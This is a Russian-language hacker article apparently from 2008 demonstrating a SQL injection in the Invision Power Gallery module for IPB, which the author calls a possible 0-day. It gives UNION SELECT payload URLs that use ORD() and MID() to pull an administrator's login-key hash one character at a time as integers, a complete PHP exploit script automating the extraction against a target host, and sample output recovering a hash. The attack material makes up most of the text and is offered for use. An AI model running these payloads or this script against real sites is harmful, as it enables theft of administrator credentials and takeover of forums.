SQL-injection: целочисленные SELECT результаты и как с ними бороться.
Что делать, если результат вывода select запроса может быть только целочисленным? Первое, что приходит в голову - посимвольный перебор через blind sql-injection технику. Но есть вариант несколько проще.
Статья не претендует на что-то новое, это просто материал для тех, "кто не догадался". И вообще это не статья, а гавно. Однако вот она, читайте.
Рассмотрим небольшой пример на Invision Power Gallery (модуль к IPB).
Кстати, возможно это 0-day уявзимость и работает на последних версиях - не проверял. Вообщем, она тут:
http://x/index.php?act=module&module=gallery&cmd=si&img=[INJECT-SQL-HERE]
Запрос, который будет выполнятся:
SELECT id, caption, masked_file_name, directory, media, thumbnail
FROM whb_gallery_images WHERE album_id=1 AND id > [INJECT-SQL-HERE]
Итак, первая проблема с которой мы столкнемся - $_GET['id'] не может быть равным 0 или отрицательным. И запрос, соответственно всегда будет выполнятся нормально, не передавая "управление" второму, внедряемому нами UNION SELECT. Решается просто: в качестве $_GET['id'] вбиваем 1-1 и получаем 0 Вот. Идем далее. В первом запросе у нас 6 колонок используется, подставляем:
http://x/index.php?act=module&module=gallery&cmd=si&img=1-1+union+select+11,22,33,44,55,66/*
Вывод 11 будет в ссылке на одну из картинок в галлерее. Нам требуется хэш администратора (member_login_key) пользователя с id=1 (администратора), все это в таблице ibf_members. Тогда запрос будет такой:
http://x/index.php?act=module&module=gallery&cmd=si&img=1-1+union+select+member_login_key,0,0,0,0,0+from+ibf _members+where+id=1+limit+0,1/*
И вместо результата SQL-запроса получаем 0. Мы не будем использовать посимвольный перебор через blind sql-injection, а пойдем следующим путем:
В хэше md5 у нас 32 символа. Будем брать каждый символ и конвертировать его в ASCII-код, тем самым получая целочисленный результат. Реализуется это с помощью встроенных в MySQL фукнций MID() и ORD(). Нагло выдерну инфу о них из доки по адресу: http://www.mysql.ru/docs/maryan/
integer ORD(str string)
В случае, если первый левый символ строки str является многобайтовым,
возвращает его код в формате: ((первый байт ASCII-код)*256+(второй байт
ASCII -код))[*256+третий байт ASCII -код...]. Если первый левый символ
строки str не является многобайтовым, то действие аналогично действию
функции ASCII() - возвращает
ASCII-код первого левого символа строки str.
Примеры:
mysql> select ORD('2');
-> 50
string MID(str string, pos integer, len integer)
Возвращает подстроку строки str длиною len символов с позиции pos.
Поддерживает многобайтовые символы. Вариант с "FROM " используется в
синтаксисе ANSI SQL92. В функции SUBSTRING() если не указан аргумент
len, то возвращает всю подстроку строки
str с позиции pos.
Примеры:
mysql> select MID('Quadratically',5,6);
-> 'ratica'
mysql> select MID('Quadratically',5);
-> 'ratically'
mysql> select MID('foobarbar' FROM 4);
-> 'barbar'
Итак, чтобы получить второй символ хэша в ASCII нам надо выполнить запрос:
http://x/index.php?act=module&module=gallery&cmd=si&img=
1-1+union+select+ord(mid(member_login_key,2,1)),0,0, 0,0,0+from+ibf_members+where+id=1+limit+0,1/*
Декодировать этот символ можно с помощью PHP-функции chr($char). Все это дело лучше автоматизировать, ибо 32 раза обращаться за каждый символом хэша это извращение, тем более если это придется проделывать не один раз. Вот моя реализация, не везде тестировалось и наверняка не везде будет работать из-за функции парсера (см. в сторону preg_match_all(), $sql_responce) - короче, кому надо разбирутся.
Код:
<?php
Error_Reporting(E_ALL & ~E_NOTICE);
set_time_limit(0);
global $fulldata;
echo "\r\n\tInvision Power Gallery [IMG] SQL-injection (get md5 hash) PoC by Cytech\r\n";
function SendPacket($host, $port, $packet)
{
$sock = fsockopen($host,$port,$errno,$errstr);
if ($sock)
{
fputs ($sock, $packet);
while (!feof($sock))
{
$data=fgets($sock, 1024);
$fulldata .= $data;
}
preg_match_all("!img=(.*?)'>!si", $fulldata, $sql_responce);
echo $sql_responce[1][7]."\t".chr($sql_responce[1][7])."\r\n";
}
else echo "\r\ncant connect to remote server!";
fclose ($sock);
}
$host = "www.pwn_it.org"; // host
$port = 80 // httpd port
$path = "index.php" // path to index.php of ipb
$member_id = 1; // member's id
for($i=1;$i < 33; $i++) // md5 hash len
{
$packet =
"GET /$path?act=module&module=gallery&cmd=si&img=1-
1+union+select+ord(mid(member_login_key,$i,1)),22,33,44,55,
66+from+ibf_members+where+id=$member_id+limit+0,1/* HTTP/1.0\r\n".
"User-Agent: technoid-xploid\r\n".
"Host: $host\r\n".
"Pragma: no-cache\r\n".
"Cache-Control: no-cache\r\n".
"Proxy-Connection: close\r\n\r\n";
echo "$i)\t";
SendPacket($host, $port, $packet);
}
?>
Работает так:
[root@SH-crew:/tmp/technoid]# /usr/bin/php sploed.php
Content-type: text/html
X-Powered-By: PHP/4.3.1
Invision Power Gallery [IMG] SQL-injection (get md5 hash) PoC by Cytech
1) 100 d
2) 49 1
3) 57 9
4) 101 e
5) 102 f
6) 54 6
7) 100 d
8) 54 6
9) 50 2
10) 52 4
11) 101 e
12) 100 d
13) 98 b
14) 50 2
15) 53 5
16) 100 d
17) 56 8
18) 51 3
19) 55 7
20) 53 5
21) 51 3
22) 49 1
23) 98 b
24) 99 c
25) 100 d
26) 99 c
27) 98 b
28) 55 7
29) 50 2
30) 56 8
31) 102 f
32) 57 9
Ну вот и все. See ya!
Cytech, 09.01.2008
hellknights.void.ru
forum.web-hack.ru